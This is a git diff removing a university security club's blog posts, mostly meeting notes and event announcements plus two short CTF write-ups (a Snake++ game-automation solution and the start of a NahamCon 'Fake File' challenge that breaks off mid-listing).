mentioned. Karl’s post on using Azure RunAs certificates is now live [here](https://blog.netspi.com/exporting-azure-runas-certificates/). diff --git a/content/blog/meeting-2-28-osusec-lab.md b/content/blog/meeting-2-28-osusec-lab.md deleted file mode 100644 index 6f841b2..0000000 --- a/content/blog/meeting-2-28-osusec-lab.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: "Meeting 2/28 - OSUSEC Lab" -author: "Zander Work" -date: 2019-02-28T00:00:00-07:00 -categories: ['Meeting Notes', 'Club News'] -tags: [] -caption: "" - -draft: false ---- - -Tonight I talked about the new OSUSEC lab environment! A few systems are currently live, and more will be coming up through the end of the term, including the self-registration system. For information about the lab environment, please see the [dedicated page for it](https://www.osusec.org/lab/). diff --git a/content/blog/meeting-2-7.md b/content/blog/meeting-2-7.md deleted file mode 100644 index 659cc5d..0000000 --- a/content/blog/meeting-2-7.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Meeting 2/7" -author: "Zander Work" -date: 2019-02-07T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Today we continued discussing reverse engineering and introduced 64-bit assembly. There are more samples on the [GitHub repo](https://github.com/osusec/intro-rev). - -The only announcement for today is to RSVP for our upcoming event with NetSPI! They will be coming back on 2/21 to do a presentation on penetration testing, and answer any questions you may have. The RSVP is just so I can get a head count for pizza. [RSVP here](https://goo.gl/forms/eFVIgj533f3DEzP52) - -There are new challenges up on CTFd, rev\[1-3]-64. - -[Link to slides (requires ONID login)](https://docs.google.com/presentation/d/1qIUqcX_OgZMuarf7-3kA7EPwj8zZZdu4i_15sgjwMPI/edit?usp=sharing) diff --git a/content/blog/meeting-9-27.md b/content/blog/meeting-9-27.md deleted file mode 100644 index efc903c..0000000 --- a/content/blog/meeting-9-27.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: "Meeting 9/27" -author: "Zander Work" -date: 2018-09-27T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thanks for the awesome turnout tonight! I’ll make a permanent reservation for that space, as it seems like we have a lot more members this year, which is fantastic! - -Here is a link to the slides for tonight’s meeting: [https://docs.google.com/presentation/d/1FyKIu0n8VOtbkOpgnoEFbv3iV2xa7JGM1sUMZdFvLKg/edit?usp=sharing](https://docs.google.com/presentation/d/1FyKIu0n8VOtbkOpgnoEFbv3iV2xa7JGM1sUMZdFvLKg/edit?usp=sharing) (NOTE: you need to sign in with your OSU account to view them) - -Please make sure you register with the club via SLI (Link: [https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b](https://apps.ideal-logic.com/osusli?key=F3T9-25VWY_5878-CZ4R_bc14da8b)). - -This weekend we (officers) will be revamping the resources page to provide some guidance for those who are brand new to security and those who have been 1337 pwners for years alike. Please check slide #14 for some info on where to get started brand new. If you prefer a more traditional approach to learning, I have heard great things about Cybrary ([https://www.cybrary.it/](https://www.cybrary.it/)), so check that out as well (NOTE: I haven’t used Cybrary before, so I’m not positive if it lives up to the hype. Please let me know what you think of it). - -As I mentioned in the meeting, the Cyberforce Competition is coming up, and if you are interested in being on the team, please fill out this survey by October 10th: [https://goo.gl/forms/0th88giiAz6TbMSt2](https://goo.gl/forms/0th88giiAz6TbMSt2) (NOTE: This also requires that you sign in with your OSU email) Let me know if you guys have any questions, and I’m looking forward to an awesome year! diff --git a/content/blog/meeting-notes-1-12.md b/content/blog/meeting-notes-1-12.md deleted file mode 100644 index 4b1ae09..0000000 --- a/content/blog/meeting-notes-1-12.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Meeting Notes 1/12" -author: "Lyell Read" -date: 2022-01-12T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to everyone who attended! This meeting covered the solutions to all NSA Codebreaker 2021 Tasks. I hope everyone enjoyed, questions can always be tossed into the `#nsacc-21` channel. - -Here are the slides (requires ONID login): [Google Slides for 1/12/2021](https://docs.google.com/presentation/d/10GhgcgS0sxLY6MwnYGzMLmeJy28oujCk2oxR2RcJt_A/edit?usp=sharing) - -The next meeting this week is for **CTF League on Friday 1/14/2021 @ 6:00pm – 8:00pm, virtually** (on Discord). diff --git a/content/blog/meeting-notes-1-19.md b/content/blog/meeting-notes-1-19.md deleted file mode 100644 index cd7612c..0000000 --- a/content/blog/meeting-notes-1-19.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Meeting Notes 1/19" -author: "Lyell Read" -date: 2022-01-19T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to everyone who attended! This meeting covered a presentation called “CS271 for Pwning”, an introduction to assembly and shellcoding with a focus on the useful aspects to pwning / binary exploitation. - -Here are the slides (requires ONID login): [Google Slides for 1/19/2021](https://docs.google.com/presentation/d/1oKhRvxC4GU6rgEbQ3mqgAbZDw5V3vboRRaBOBzZhr3g/edit?usp=sharing) - -The next meeting this week is for **CTF League on Friday 1/21/2021 @ 6:00pm – 8:00pm, virtually** (on Discord). diff --git a/content/blog/meeting-notes-1-26.md b/content/blog/meeting-notes-1-26.md deleted file mode 100644 index a1e4885..0000000 --- a/content/blog/meeting-notes-1-26.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: "Meeting Notes 1/26" -author: "Lyell Read" -date: 2022-01-26T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to everyone who attended! This meeting covered an introduction to reverse engineering on x86 64-bit. We covered some key differences between x86 and x86-64, then we examined how typical control flows are compiled to assembly based on the C source code. - -Here are the slides (requires ONID login): [Google Slides for 1/26/2021](https://docs.google.com/presentation/d/15X3pdIcGWrU92HM59QuKUdE9rw-ED12k_vQOIxARDE4/edit?usp=sharing) - -The binary and C code that we looked at during tonight’s talk are [posted on GitHub](https://github.com/osusec/intro-rev). - -The next meetings are as follows: - -- **CTF League on Friday 1/28/2021 @ 6:00pm – 8:00pm, virtually** (on Discord). -- **OSUSEC General Meeting on 2/2/2022 @ 6:00pm, virtually** (on Discord). We will interactively work on a simple reverse engineering challenge on the OSUSEC CTF practice range. diff --git a/content/blog/meeting-notes-10-05.md b/content/blog/meeting-notes-10-05.md deleted file mode 100644 index b836518..0000000 --- a/content/blog/meeting-notes-10-05.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "Meeting Notes 10/05" -author: "Casey Colley" -date: 2022-10-05T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "Casey Colley explaining business injects of CyberDefense Competitions." - -draft: false ---- - -Howdy hackers! Thanks to everyone who showed up, and we hope it was enjoyable and informative! Tonight we introduced Cyber Defense Competitions. We covered some of the skills and areas you would learn by playing in a CDC, what makes them fun, and the career advantages of getting involved in them! - -The slides for the meeting are available here: [https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html]https://www.osusec.org/wp-content/uploads/2022/10/2022-10-05-Intro-to-CDC.html - -Wish the Cyberforce team luck on November 4th-5th, and be sure to keep an eye out for an announcement about PRCCDC tryouts in mid-late November! - -**Other events coming up:** - -- October 7th: BSidesPDX CTF and conference -- November 4th-5th: DoE’s Cyberforce Competition -- November 19th: CPTC Western Regionals -- Ongoing: NSA Codebreaker Challenge diff --git a/content/blog/meeting-notes-10-1.md b/content/blog/meeting-notes-10-1.md deleted file mode 100644 index 7def886..0000000 --- a/content/blog/meeting-notes-10-1.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Meeting Notes 10/1" -author: "Lyell Read" -date: 2021-10-01T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to everyone for coming to our first meeting this year! We had well over our expected 70 people in attendance. We introduced OSUSEC, what we do, how our Discord server works, as well as some ethics. We introduced members to Capture The Flag, and we delved into the first CTF League challenge of the year, a web challenge! - -Here are the slides (requires ONID login): [Google Slides for 10/1/2021](https://docs.google.com/presentation/d/1OjRPWjH5fJ_sqT3w95dpaNR2Op83YE-4eJWjg0TYdXQ/edit?usp=sharing) - -Next week we have two meetings: - -- General club meeting for Introduction to Lockpicking: Wednesday 10/6/2021 @ 6:00PM in LINC 307. Here we will have various locks to try to pick open, starting with easy locks, and moving to harder ones. -- CTF League meeting: Friday 10/8/2021 @ 6:00PM in KEC 1003/1005/1007. This meeting will present the next challenge for CTF League. We aim to have the team distribution process streamlined. diff --git a/content/blog/meeting-notes-10-12.md b/content/blog/meeting-notes-10-12.md deleted file mode 100644 index 6034e74..0000000 --- a/content/blog/meeting-notes-10-12.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: "Meeting Notes 10/12" -author: "Casey Colley" -date: 2022-10-12T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "Matt Jansen and Jake Johanson dive deeper after finishing the same task." - -draft: false ---- - -Howdy hackers! Thanks to everyone who showed up tonight! Tonight we introduced the NSA Codebreaker Challenge, and held a work party. Hopefully you were able to make some progress on Tasks in a focused environment and get free dinner! We covered previous year’s Codebreaker themes, the NSA’s mission and how that inspires the Challenge, and introduced the different tools that the NSA recommends to approach the Challenge with. - -The slides for the meeting are available here (ONID required): [https://docs.google.com/presentation/d/1HbtQQt2e33hwHUMCEe7rgTT3NRyO9enD_3iU1BWYgK0/](https://docs.google.com/presentation/d/1HbtQQt2e33hwHUMCEe7rgTT3NRyO9enD_3iU1BWYgK0/) - -**Other events coming up:** - -- November 4th-5th: DoE’s Cyberforce Competition -- November 19th: CPTC Western Regionals -- Ongoing: NSA Codebreaker Challenge diff --git a/content/blog/meeting-notes-10-19.md b/content/blog/meeting-notes-10-19.md deleted file mode 100644 index 6aa3cde..0000000 --- a/content/blog/meeting-notes-10-19.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: "Meeting Notes 10/19" -author: "Casey Colley" -date: 2022-10-19T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "OSUSEC members try an intro pwn challenge, including 1337 hackors Alex Marx and Milan Donhowe" - -draft: false ---- - -Howdy hackers! Hope your week 4 is going well. Tonight Cameron introduced Reversed Engineering (“Rev”) challenges and how to pwn them. Rev and pwn challenges are a staple of CTF competitions, and we covered a few of the most critical tools in your arsenal for approaching them. We also walked you through an introductory pwn challenge called rev01 that is hosted on our CTF Practice Range. We hope you were able to walk away with some new skills. - -The slides for the meeting are available here (ONID required): [https://docs.google.com/presentation/d/1muZ2NoANPFD2ysk1QscMxl6qo8bAzM1nVBNcnc20rGk/edit?usp=sharing](https://docs.google.com/presentation/d/1muZ2NoANPFD2ysk1QscMxl6qo8bAzM1nVBNcnc20rGk/edit?usp=sharing) - -Next week’s meeting will be a lock-picking meeting! So bring your lock-pick sets if you have them, and we’ll supply the locks (and pick sets if you don’t have one). - -**Other events coming up:** - -- November 4th-5th: DoE’s Cyberforce Competition -- November 19th: CPTC Western Regionals -- Ongoing: NSA Codebreaker Challenge diff --git a/content/blog/meeting-notes-10-27.md b/content/blog/meeting-notes-10-27.md deleted file mode 100644 index 5dab825..0000000 --- a/content/blog/meeting-notes-10-27.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Meeting Notes 10/27" -author: "Lyell Read" -date: 2021-10-27T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to everyone who attended! This meeting covered an introduction to NSA Codebreaker Challenge, including some common tools and strategies used to solve challenges 0-6. - -Here are the slides (requires ONID login): [Google Slides for 10/27/2021](https://docs.google.com/presentation/d/1VOaUs85Ti9iNgQHfShuvyJEwuZ_KdIEDVtaL1mnRJc8/edit?usp=sharing) - -The next couple meetings will be as follows: - -- **CTF League on Friday 10/29/2021 @ 6:00pm – 8:00pm in KEC 1003**. We will be having pizza outside the room first (likely outside or in the atrium – see the CTF League Discord), followed by breaking up into teams and playing this week’s OSINT challenge by Cameron! -- Speaking of OSINT, Cameron will present a talk all about real world **OSINT investigation strategies this coming Wednesday 11/3/2021 @ 6:00pm in KEC 1003** with a real world example. There will be an interactive component where you get to try out these strategies yourself, so bring your laptop! diff --git a/content/blog/meeting-notes-10-3.md b/content/blog/meeting-notes-10-3.md deleted file mode 100644 index 287bb1a..0000000 --- a/content/blog/meeting-notes-10-3.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Meeting Notes 10/3" -author: "Zander Work" -date: 2019-10-03T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "Photo of classroom full of students, many of which have laptops out" - -draft: false ---- - -Thanks for the great turnout again tonight! We went over some tools you can use for the NSA Codebreaker challenge. - -Here is a link to the slides (requires ONID sign-in): [Google Slides](https://docs.google.com/presentation/d/1wktl0g6GzN-MJc0Lbz4y_bdDkAHHbR1HQCOLjuvyaMA/edit?usp=sharing) - -Next week’s CTF meeting is slightly changed, it will be at 7pm in KEC 1003 on Tuesday, 10/8. diff --git a/content/blog/meeting-notes-10-6.md b/content/blog/meeting-notes-10-6.md deleted file mode 100644 index 8c04380..0000000 --- a/content/blog/meeting-notes-10-6.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Meeting Notes 10/6" -author: "Lyell Read" -date: 2021-10-06T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to all the members that attended this meeting! We covered lockpicking basics, legality and ethics, before Ryan presented a live demonstration of picking a lock. Then, each table had a selection of locks of increasing difficulty and tools to try to pick them with. - -Here are the slides (requires ONID login): [Google Slides for 10/6/2021](https://docs.google.com/presentation/d/1CIVLa1oaAJ-bhY2KlMOVRJiNcoI3ZaAFEXmLoR4-t5g/edit?usp=sharing) - -Next week (week of 10/11) we have two meetings: - -- Talk by NetSPI about NetSPI U on Wednesday 10/13/2021 @ 6:00pm – 7:00pm. This will be a Virtual talk, the zoom link will be posted in the OSUSEC Discord. -- CTF League on Friday 10/15/2021 @ 6:00pm – 8:00pm in KEC 1003. We will be having pizza outside the room first (likely outside or in the atrium – see the CTF League Discord), followed by breaking up into teams by team number just as we did last Friday. diff --git a/content/blog/meeting-notes-11-02.md b/content/blog/meeting-notes-11-02.md deleted file mode 100644 index c07814e..0000000 --- a/content/blog/meeting-notes-11-02.md +++ /dev/null @@ -1,23 +0,0 @@ ---- -title: "Meeting Notes 11/02" -author: "Casey Colley" -date: 2022-11-02T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "NetSPI logo" - -draft: false ---- - -Howdy hackers! Welcome to the second half of Fall term! Tonight we hosted NetSPI: Senior Director Karl Fosaaen and Security Consultant (and former club member) Michael Jereza. They walked us through penetration testing as a career, what work is like at NetSPI, their NetSPI University program, and some entertaining stories from their pentesting work! We hope you had fun and walked away with an enthusiasm for pentesting. If you enjoyed this, definitely think about getting involved with our CPTC team! - -The slides for the meeting are available here: [https://www.osusec.org/wp-content/uploads/2022/11/2021_Pentesting-intro-and-NetSPIU-powerpoint.pdf](https://www.osusec.org/blog/2021_Pentesting-intro-and-NetSPIU-powerpoint.pdf) - -Next week’s meeting, I’ll be presenting on Security for Software Developers. - -**Other events coming up:** - -- November 5th: DoE’s Cyberforce Competition -- November 4th-6th: Competing in Ohio State Uni’s “Buckeye” CTF -- November 19th: CPTC Western Regionals -- Ongoing: NSA Codebreaker Challenge diff --git a/content/blog/meeting-notes-11-09.md b/content/blog/meeting-notes-11-09.md deleted file mode 100644 index cc3a5f4..0000000 --- a/content/blog/meeting-notes-11-09.md +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: "Meeting Notes 11/09" -author: "Casey Colley" -date: 2022-11-09T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "Casey Colley explaining a design of their project to use as an example. " - -draft: false ---- - -Howdy hackers! Last night, I covered cybersecurity in software development. I talked about how you can incorporate security into each stage of the Software Development Lifecycle, some examples of how that has gone wrong in real life software projects, and the different mitigations that have come about in an effort to control memory corruption attacks (an example of improper input handling). - -The slides for the meeting are available here (ONID required): [https://docs.google.com/presentation/d/1lFwF22hw8KivDTW0r4knwspKNSqMVIiPQYHLL5arzxI/edit?usp=sharing](https://docs.google.com/presentation/d/1lFwF22hw8KivDTW0r4knwspKNSqMVIiPQYHLL5arzxI/edit?usp=sharing) - -Next week’s meeting, we’ll be having another work party for the NSA Codebreaker Challenge, including another Tech Talk by Matt! - -**Other events coming up:** - -- November 19th: CPTC Western Regionals -- December 2nd-4th: HackTheBox University CTF -- December 9th: NSA Codebreaker Challenge ends diff --git a/content/blog/meeting-notes-2-2.md b/content/blog/meeting-notes-2-2.md deleted file mode 100644 index 4b810ed..0000000 --- a/content/blog/meeting-notes-2-2.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Meeting Notes 2/2" -author: "Lyell Read" -date: 2022-02-02T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to everyone who attended tonight’s meeting! We chatted about reverse engineering and binary exploitation (pwn) tools and how to use them, and I demonstrated how to solve the `rev01` challenge on the CTF Practice Range at [https://ctf.osusec.org](https://ctf.osusec.org/). - -The slides for the meeting are available here (ONID Login Required): [2/2/2022 Slides](https://docs.google.com/presentation/d/15-nChPrarLVvg2oKLMy3KXsMSwEjvnWC63rMxWKX9iI/edit?usp=sharing) - -There are some interesting upcoming events which all club members are welcome at: - -- **CTF League: This Friday, 6:00pm – 8:00pm** (and every Friday during the term), we will have an awesome, real-world challenge for you to solve. **This meeting will be remote**, and take place on Discord. For more information, check out: [https://www.osusec.org/ctf-league/](https://www.osusec.org/ctf-league/) -- **This weekend we will compete in DiceCTF 2022.** Add the CTF role to play using `!role add ctf` in the #botspam channel and come check out the challenges! There should be a wealth of challenges of all levels, so there’s something for everyone to solve. **We will meet remotely over Discord** in the voice chats for CTF. diff --git a/content/blog/meeting-notes-2-23.md b/content/blog/meeting-notes-2-23.md deleted file mode 100644 index 0c1998a..0000000 --- a/content/blog/meeting-notes-2-23.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Meeting Notes 2/23" -author: "Lyell Read" -date: 2022-03-02T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to everyone who attended tonight’s meeting! We introduced several different CTF categories and what challenges usually look like within those categories. Then, we went over some of the challenges on the CTF Practice Range at [https://ctf.osusec.org](https://ctf.osusec.org/). - -The slides for the meeting are available here (ONID Login Required): [2/23/2022 Slides](https://docs.google.com/presentation/d/1J6M9TqSjz6SHVKk_BBUPANaz1Q2LeKgHYCcUcOb15M0/edit?usp=sharing) - -Later this week, we have this event coming up: - -- **CTF League: This Friday, 6:00pm – 8:00pm** (and every Friday during the term). For more information, check out: [https://www.osusec.org/ctf-league/](https://www.osusec.org/ctf-league/) diff --git a/content/blog/meeting-notes-2-9.md b/content/blog/meeting-notes-2-9.md deleted file mode 100644 index f3ba80d..0000000 --- a/content/blog/meeting-notes-2-9.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: "Meeting Notes 2/9" -author: "Lyell Read" -date: 2022-03-02T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - - - -Thank you to everyone who attended tonight’s meeting! We chatted some more about reverse engineering, discussing the stack layout, function preambles and local variables on the stack. We introduced the `rev02` challenge on the CTF Practice Range at [https://ctf.osusec.org](https://ctf.osusec.org). - -The slides for the meeting are available here (ONID Login Required): [2/9/2022 Slides](https://docs.google.com/presentation/d/1qoB5B8sSsq1wGVAwKsJnru8UTU0f1s4mj-mzEL92ggw/edit?usp=sharing) - -We have an interesting event coming up later this week: - -- **CTF League: This Friday, 6:00pm – 8:00pm** (and every Friday during the term). For more information, check out: [https://www.osusec.org/ctf-league/](https://www.osusec.org/ctf-league/) \ No newline at end of file diff --git a/content/blog/meeting-notes-3-2.md b/content/blog/meeting-notes-3-2.md deleted file mode 100644 index 7e40f01..0000000 --- a/content/blog/meeting-notes-3-2.md +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: "Meeting Notes 3/2" -author: "Lyell Read" -date: 2022-03-02T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thank you to everyone who attended tonight’s meeting! We talked about what Wargames are, what their value is, and what some good starter wargames are to play. - -The slides for the meeting are available here (ONID Login Required): [3/2/2022 Slides](https://docs.google.com/presentation/d/16A40HG56JTFi3KPJ8clUnYZTJwNL0lFswXXpOGG2nqg/edit?usp=sharing) - -Later this week, we have this event coming up: - -- **CTF League: This Friday, 6:00pm – 8:00pm** (and every Friday during the term). **Elastic will be hosting a mini-CTF for us on Friday, it will be an awesome chance to learn about Elastic and win some prizes!** For more information about CTF League, check out: [https://www.osusec.org/ctf-league/](https://www.osusec.org/ctf-league/) diff --git a/content/blog/meeting-notes-3-7.md b/content/blog/meeting-notes-3-7.md deleted file mode 100644 index 33ee4f6..0000000 --- a/content/blog/meeting-notes-3-7.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Meeting Notes - 3/7" -author: "Zander Work" -date: 2019-03-07T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Thanks to Kees Cook for an awesome look at kernel security! Kees talked about how the kernel exploit for CVE-2017-7038 was discovered, which allowed privilege escalation due to a heap overflow. - -You can see his slides [here](https://drive.google.com/file/d/1T4pHribl-TFyw02ho7goFhVGfSzXkqXB/view?usp=sharing), which also has information for building the POC images for the exploit. - -This was our last meeting for Winter 2019, so I’ll see you all next term! Our first meeting will be on Week 2. diff --git a/content/blog/meeting-notes-4-18.md b/content/blog/meeting-notes-4-18.md deleted file mode 100644 index 1d47606..0000000 --- a/content/blog/meeting-notes-4-18.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: "Meeting Notes 4/18" -author: "Zander Work" -date: 2019-04-18T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Tonight I gave a tutorial on IDA Pro basics, and how to get started with this awesome tool. I also released some new binaries on the CTF site for you to practice IDA. - -Remember, as a OSU Security Club member you have access to our lab systems, which has the full version of IDA Pro and the Hex-Rays Decompiler installed, so make sure to use those if you want to take advantage of the advanced functionality. - -[Link to the slides](https://docs.google.com/presentation/d/1hjS17xuQy3TXWGvnDxQHi0oSoadHruOOrJtmlPW1GT8/edit?usp=sharing) \ No newline at end of file diff --git a/content/blog/meeting-notes-5-9.md b/content/blog/meeting-notes-5-9.md deleted file mode 100644 index 271beb8..0000000 --- a/content/blog/meeting-notes-5-9.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: "Meeting Notes 5/9" -author: "Zander Work" -date: 2019-05-09T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "" - -draft: false ---- - -Today we hosted Ryan Gurr and Alex Ryan from Fidelis Cybersecurity, who talked about their experiences and background in information security, and showed a cool demo of Fidelis’s platform. - -If you have any questions for Ryan or Alex, please contact them, they said they’d love to answer any questions you may have, related to Fidelis or not. You can get their contact info [here](https://docs.google.com/document/d/18g0qBozZOs1t-4D8voU4hFAk0hByz5URLihxD19rRUM/edit?usp=sharing). diff --git a/content/blog/meeting-notes-9-26.md b/content/blog/meeting-notes-9-26.md deleted file mode 100644 index 79e651a..0000000 --- a/content/blog/meeting-notes-9-26.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -title: "Meeting Notes 9/26" -author: "Zander Work" -date: 2019-09-27T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "Image of a classroom full of students, many students have their laptops out" - -draft: false ---- - -Thanks everyone for coming out to our first meeting! We had over 50 people in attendance, and introduced the OSU Security Club, what we do, what we stand for, our plans for the year, and worked on a couple introductory CTF challenges. - -Here is a link to the slides (requires ONID login): [Google Slides](https://docs.google.com/presentation/d/1oCiwxyT840GtcusgTdD55UB-BlvP2BcfjeDDj3vDDew/edit?usp=sharing) - -Next week we have two meetings: - -- The first CTF meeting is Tuesday, 10/1 @ 6:30pm in KEC 1005. We will be going over our standard tool/VM configuration, and go through some challenges from the CSAW qualifiers -- The next general meeting is Thursday, 10/3 @ 7pm in KEC 1003. We will be showing some cool tools that you can use to solve Tasks 1-3 of the Codebreaker Challenge. diff --git a/content/blog/meeting-notes-9-28.md b/content/blog/meeting-notes-9-28.md deleted file mode 100644 index f464a2e..0000000 --- a/content/blog/meeting-notes-9-28.md +++ /dev/null @@ -1,25 +0,0 @@ ---- -title: "Meeting Notes 9/28" -author: "Casey Colley" -date: 2022-09-28T00:00:00-07:00 -categories: ['Meeting Notes'] -tags: [] -caption: "Cameron McCawley debriefing the club on activities for this year. " - -draft: false ---- - -Howdy hackers! Thanks to everyone who showed up to the first meeting and we hope it was fun and informative!! Tonight we helped break in the new year for the club, and many people walked away from the meeting with new OSUSEC swag that they didn’t realize they were going to get! - -Overall, we talked about the history and mission of OSUSEC, the various competitions we’re involved in, the events we hold, getting a CTF environment set up, some memes, and more! - -The slides for the meeting are available here (ONID Login Required): [https://docs.google.com/presentation/d/1CjmLpXLY4KlzrErLR5qiaQi9xtskQZtTPDaIA5pqDKk/edit?usp=sharing](https://docs.google.com/presentation/d/1CjmLpXLY4KlzrErLR5qiaQi9xtskQZtTPDaIA5pqDKk/edit?usp=sharing) - -Let’s make this a good year for OSUSEC!! - -**Other events coming up:** - -- October 7th: BSidesPDX CTF and conference -- November 4th-5th: DoE’s Cyberforce Competition -- November 19th: CPTC Western Regionals -- Ongoing: NSA Codebreaker Challenge diff --git a/content/blog/midnightsunctf-snake.md b/content/blog/midnightsunctf-snake.md deleted file mode 100644 index c6214e2..0000000 --- a/content/blog/midnightsunctf-snake.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: "MidnightsunCTF Snake++" -author: "Lyell Read" -date: 2020-04-05T00:00:00-07:00 -categories: ['Writeups'] -tags: ['midnightctf'] -caption: "MidnightsunCTF logo" - -draft: false ---- - -## Prompt - -> 141 points, 38 solves -> -> Snake Oil Co. has invented a special programming language to play their new and improved version of Snake. Beat the game to get the flag. settings Service: nc snakeplusplus-01.play.midnightsunctf.se 55555 - -## Solution - -When I first connected to the remote server, I was presented with a menu, detailing 3 options: Play in player mode, play in computer mode, or exit. The rules detail that a score of 42 will grant you a flag, so I first tried in player mode (where I direct the snake). - -- `A` is a good apple: it grows the snake 1 in length -- `B` is a bad apple, it shrinks the snake in length. Best shoot these - -The snake is controlled with: - -- `L` – will advance the snake one place then turn the direction 90 degrees left. -- `R` – will advance the snake one place then turn the direction 90 degrees right. -- `' '` (space) will “shoot” in the direction the snake is pointed, until it hits either `A` (which it will delete), `B`, which it will delete, or your snake, or the wall. Note: you don’t die if you shoot yourself. After shooting, the snake moves forward one square -- `''` (enter), which will advance the snake 1 in the direction it points. - -When I played in player mode, I noticed no warning that no flag would be given for a win in player mode, so I figured if I could endure the tedious game (the move before turn, paired with me being bad at rights and lefts made this angering at best), I would get flag… easy, right? Two hours later, I finally reached a score of 42, and the game did not give me a flag >:(. - -Now to computerize it. The language description for Snake++ is presented in [lang-desc.txt](https://github.com/lyellread/ctf-writeups/blob/master/2020-midnightsunctf/snake%2B%2B/lang-desc.txt). - -Our game plan now becomes the writing of a function in Snake++ that can choose the next move based on board state. We implemented it in parts: - -- [driver.py](https://github.com/lyellread/ctf-writeups/blob/master/2020-midnightsunctf/snake%2B%2B/driver.py) – supplies [snake.ai](https://github.com/lyellread/ctf-writeups/blob/master/2020-midnightsunctf/snake%2B%2B/snake.ai) to server, and runs in while loop, detecting flag if won. -- [snake.ai](https://github.com/lyellread/ctf-writeups/blob/master/2020-midnightsunctf/snake%2B%2B/snake.ai) – a misnomer, as this is really quite a dumb function (and not ***at all*** optimized, which we were too tired to see at the time). This is the Snake++ program/function that determines the move to make. This function encompasses: - - A hamiltonian cycle through the map, stored to RAM. [hampath.txt](https://github.com/lyellread/ctf-writeups/blob/master/2020-midnightsunctf/snake%2B%2B/hampath.txt) shows this – start in left bottom corner facing right, and the move in your cell is what to submit to stay on hampath. - - Logic to determine what to do based on cycle, apple type… - -[snake.ai](https://github.com/lyellread/ctf-writeups/blob/master/2020-midnightsunctf/snake%2B%2B/snake.ai) loads the hamiltonian path/cycle into RAM if it is not there already (we could optimize this by not writing all the `F`‘s). Then: - -- If we are on a turn in the hampath, we must turn -- If there is a B near, return shoot (' ') -- Else, move forward. - -> Note: snake.ai requires the starting (random) position to be the same direction of the hampath at that spot, so probability decrees that it works 1/4 tries. - -I know, we are all CS majors, and while you might expect a better solution from us, we are also masters of minimal effort. - -So, this scrip ***barely*** works… We ran it in a loop, one run at a time (as to keep the server as fast as possible), and consistently got scores of 30-39 (there’s a 90-sec timeout for computer mode). Then, on a lucky run, we got a score of 42. - -``` -midnight{Forbidden_fruit_is_tasty} -``` - -~ Lyell Read, Phillip Mestas, Athos diff --git a/content/blog/nahamconctf-fake-file.md b/content/blog/nahamconctf-fake-file.md deleted file mode 100644 index 5151632..0000000 --- a/content/blog/nahamconctf-fake-file.md +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: "NahamConCTF - Fake File" -author: "Lyell Read" -date: 2020-04-01T00:00:00-07:00 -categories: ['Writeups'] -tags: ['nahamconctf'] -caption: "NahamConCTF banner" - -draft: false ---- - -100 points - -## Prompt - -> Wait… where is the flag? -> -> Connect here: nc jh2i.com 50026 - -## Solution - -Let’s `nc` to that server and see what’s up: - -``` -$ nc jh2i.com 50026 - -bash: cannot set terminal process group (1): Inappropriate ioctl for device -bash: no job control in this shell -user@host:/home/user$ ls -lah -ls -lah -total 12K -dr-xr-xr-x 1 nobody nogroup 4.0K Jun 12 17:10 . -drwxr-xr-x 1 user user 4.0K Jun 4 18:54 .. --rw-r--r-- 1 user user 52 Jun 12 17:10 ..  -``` 